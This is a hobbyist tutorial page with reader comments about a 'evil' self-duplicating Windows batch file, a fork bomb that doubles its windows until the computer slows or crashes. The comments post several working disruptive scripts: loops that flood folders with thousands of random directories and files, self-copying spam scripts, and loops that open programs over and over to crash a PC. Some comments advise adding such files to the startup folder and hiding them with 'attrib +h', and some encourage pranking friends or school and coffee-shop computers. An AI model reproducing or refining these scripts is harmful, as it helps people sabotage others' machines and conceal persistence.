Introduction: Evil Self Duplicating Batch File

Picture of Evil Self Duplicating Batch File

Have you ever wanted an evil batch file that opens itself again and again and again, doubling itself each time?  Well here is how you do it.

Step 1: Write the Batch

Picture of Write the Batch

Open notepad and write this code.

What it means (line by line):
1 Don't show the folder the batch file is currently in. (it makes it look ugly)
2 Set a matrix look
3 The words after echo are what show up on the screen (you can change this message)
4 puts you in the folder you started the batch file in (I'll get to that)
5 a marker (I'll get to that too) (you can change this letter to any word, letter, or number; but leave the colon)
6 sets what appears at the top of the screen (by close and minimize)
7 puts a small delay so it does not crash the computer instantly (change the number to set the time, I have a  two second delay)
8 Opens a copy of this file in a new window (name it what you save it) (that's we need line 4)
9 goes to the marker to repeat the process. (its like a page that tells you to go back to the bookmark that leads to that page. Like a loop!)

Step 2: Save the File

Picture of Save the File

Press Ctrl + S and type America.bat (name it what you typed earlier) in the text field and set filetype to all. Save it wherever, on a flash drive for school and coffee shops, or online for published and profitable anarchy. You should be good to go!

Step 3: Run.bat

Picture of Run.bat

Open your,  batch file and if you did it right you'll get 1 at first, then 2, then 4, then 8, 16, 32, 64, 128, 256, 512, 1024, etc...
Chaos rains!!!


Spotlightsrule (author)2015-12-30

any way to make a bat file that generates randomly named files on the desktop using a variant of this code?

@echo off
md %random%
md c:\%random%
md %systemroot%\%random
md %userprofile%\%random
md %userprofile%\Documents\%random%
md %userprofile%\Music\%random%
md %userprofile%\Desktop\%random%
md %userprofile%\Videos\%random%
md %userprofile%\Pictures\%random%
goto loop

do you know how to end this exact batch? it was run and now the pc is super slow and has like 30k files on it...

BlackH19 (author)ericsantos89342017-08-13

taskkill /IM cmd.exe

Pressing the pause break key on your keyboard stops the script. This method is also cross platform and works in Linux and Mac as well

Put In Somewhere

md %random%

It will create a bunch of random folders

Your Welcome @Spotlightsrule

Scibbie (author)Spotlightsrule2016-02-03

Actually, when you put this code in batch:
echo (text) > text.bat It *should* create a .bat file names text.bat with that text in it.
I dont know if this would work with %random%.bat or something like that. if it does, tell me. lol

chessc2 (author)Scibbie2016-12-15

Do this:


TibuleacL (author)2016-04-11

What if I want this program to autorun? Like this would start up automaticaly once the PC is powered on? Still a newbie soooo please help???

TheAdvancedGuy (author)TibuleacL2017-01-04

Best Thing to do is put it in startup, but yeah use another programming language It will help in making it easier or even making it for you.

GummyP (author)TibuleacL2016-07-19

you dont... you learn a real programming language, not dos

Cadendoesgaming1. (author)GummyP2016-09-01

It is possible to run the program when the computer starts by copying the file to the startup folder on windows. This would effectively launch whenever the user logs on. To make it stealthy, you could add "attrib +h filename" to hide it from view in file explorer.

Xxx_Anonyymous_xxX (author)2016-10-30

did I do that correctly?

AidenB6 (author)2016-04-23

This is basic batch

AriH17 (author)AidenB62016-10-12

Pun intended?

Festix (author)AidenB62016-05-13

Yes, but we are stupid. C:

JackieP14 (author)2015-12-15

Err lads this is a bit overcomplicated XD

You could just do:



goto start

MequanentG (author)JackieP142016-04-11

warr about dis


wassup greg (author)2016-03-31

Could you make one that copies everything on your computer
say 100 times?

JackieP14 (author)2015-12-15

Also this is way more annoying because it takes hours (trust me from personal experience) to clean up afterwards:

@echo off


set /a number=0


md %number%

set /a number=%number%+1

goto loop

P.S. The beauty is it doesn't look like it is doing any damage so you could even tell your [ex]friends that it is just a cool matrix effect, then when they go to their "important folder location" they will find 40,000 odd folders hanging around XD Trust me the reactions are hilarious.

P.P.S. One final thing ... if you need to quickly end the file before too much annoyance is called just "Ctrl+C" in the batch window. Have fun ;)

Petergrag (author)2015-06-24

how could i make this so it only opens its self lets say 32 times?

Prominator123. (author)Petergrag2015-10-13

If you wanted to make it open itself 32 times, then it's simple, but more time consuming.

What you'd need to do is get the :a bit of the code, then simply copy the start america.bat below it 32 times.

JudeG1 (author)2015-10-08

its nice

RobrientistR (author)2015-09-08

set N=%0 >NUL

@echo off >>%N% >NUL

:0 >>%N% >NUL

set N=%0 >>%N% >NUL

echo:%random% >>%N% >NUL

:1 >>%N% >NUL

set N=%0 >>%N% >NUL

set R=%random%.bat >>%N% >NUL

if exist %R% (goto 1) >>%N% >NUL

copy %N% %R% /B /V /Y /Z >>%N% >NUL

start "%N%" /MIN /LOW /B /I /SEPARATE %R% >>%N% >NUL

goto 0 >>%N% >NUL


RyanS38 (author)2015-08-05

use this: (name is anything you want, for this example ill name it lol.bat)

@echo off


start lol.bat

goto lol

LithiumBandRox (author)2015-03-19

will this work using a textedit file on a mac?

and do you just open the file to run it? how does the replication begin?

Camderman106 (author)2013-06-27

My liitle evil virus that will crash a computer in seconds!
It first replicates itself, then runs the replication. then it opens notepad and creates a spam file 100 times and then exits. The sheer number of notepads opening will crashg the computer and when they restart their computer will be full of junk files!
@echo off
Title Mwahahahahah
set FILENAME=%random%%random%
copy /Y "%~f0" "%cd%\TROLL%FILENAME%.bat"
start /MIN "%cd%\TROLL%FILENAME%.bat"
set counter=100
start notepad.exe
echo SPAM >> %cd%\%random%%random%.txt
set /a counter=%counter%-1
if %counter% LEQ 0 goto :end
goto :lol

kemper0821 (author)Camderman1062014-12-10

Would doing this

@echo off

Title Death by Notepad


set FILENAME=%random%%random%

copy /Y"%~f0"


start /MIN"%cd%\TROLL%FILENAME%.bat"

set counter=10000


start notepad.exe

echo SPAM>>%cd%\%random%%random%.txt

set /a counter=%counter%-1

if %counter% LEQ 0 goto :end

title Win%random%a

timeout /t 2 /nobreak >nul

start Death by Notepad.bat





cause the program to run over and over and over again, each time creating 10,000 notepad files? I'm sort of new to batch files so I think this will work but I am not willing to try this on a computer. (for obvious reasons)

jdlavis (author)kemper08212015-01-02

A much simpler one would be

@ echo off
: bad
start Notepad.exe
start cmd.exe
start WordPad.exe
goto bad

this would open 4 programs over and over again crashing the pc much quicker and making it harder to stop

Camderman106 (author)kemper08212014-12-11

I'm no expert either. I wrote this because I was messing around with batch at the time. And I never tested mine either. Same reason. I reckon mine has a bunch of errors in it. But it's the concept. Yours looks more sophisticated so you probably know more than me. Sorry I can't help more than that.

kemper0821 (author)Camderman1062014-12-18

Yours works I tried it

Camderman106 (author)kemper08212014-12-23

I think yours would work. So long as there are no syntax errors hiding anywhere it looks okay

jmamba2 (author)Camderman1062014-12-22

Works great! Just make sure to adjust set counter if your going to test it!

Camderman106 (author)jmamba22014-12-23

Awesome, I never dared to test it. Hope you can have some fun with it

eacochran (author)2014-11-07

Can you show me how to make this work?

kingofepicness (author)2014-11-07

Lololol! That would be hard to get rid of!

bauerbach (author)2014-01-11

It's like the computer has batch cancer!

EtCetera112 (author)2013-05-31

I have a nooby question: what is the last character in line 7?

Furneriou1 (author)EtCetera1122013-07-06

Well in maths it is the greater than symbol in this case its pretty much saying "to the" so its saying timeout/t 2/notebrek > (to the) null

Furneriou1 (author)2013-07-06

My one is a little more fun and can only be shutdown by forcing shutdown by holding the devices power button down or by pulling the plug out of the wall here it is:

@echo off
Start iexplore
Goto :a

There it is simple and save file as pirate.bat
Enjoy :)

insyder1201 (author)2012-08-30

Make it make a folder
@echo off
echo Hi >> %random%.txt
goto loop

Prof. Pickle (author)insyder12012012-12-19


el-xavi26 (author)2012-10-27

Very nice batch file!!!
YOU have a lot of knowledge

Pedroe281 (author)2012-10-24

haha it would be funnier if you put this in the start up folder so every time they restart their computer it starts all over again

Chad Baxter (author)2012-10-21

keep up the good work... infinite cmd beeping internal speaker here i come...prob have no clue what im saying(sighs)

Prof. Pickle (author)2012-09-19

This is a very nice and well done instructable. Keep working on creating batch files and, can I make a suggestion, try to use your skills for good instead of evil.

waldosan (author)2012-06-18

that's devious...

ironsmiter (author)2012-06-18

this instructable is getting the WHOLE SITE flagged by google chrome as "known malware distributer!!!

Which is strange, given that there is no actual download link?

That is being worked on right now. There is no malware.

Do you know why that happened?

About This Instructable




More by pokerduke123:Evil Self Duplicating Batch File
Add instructable to: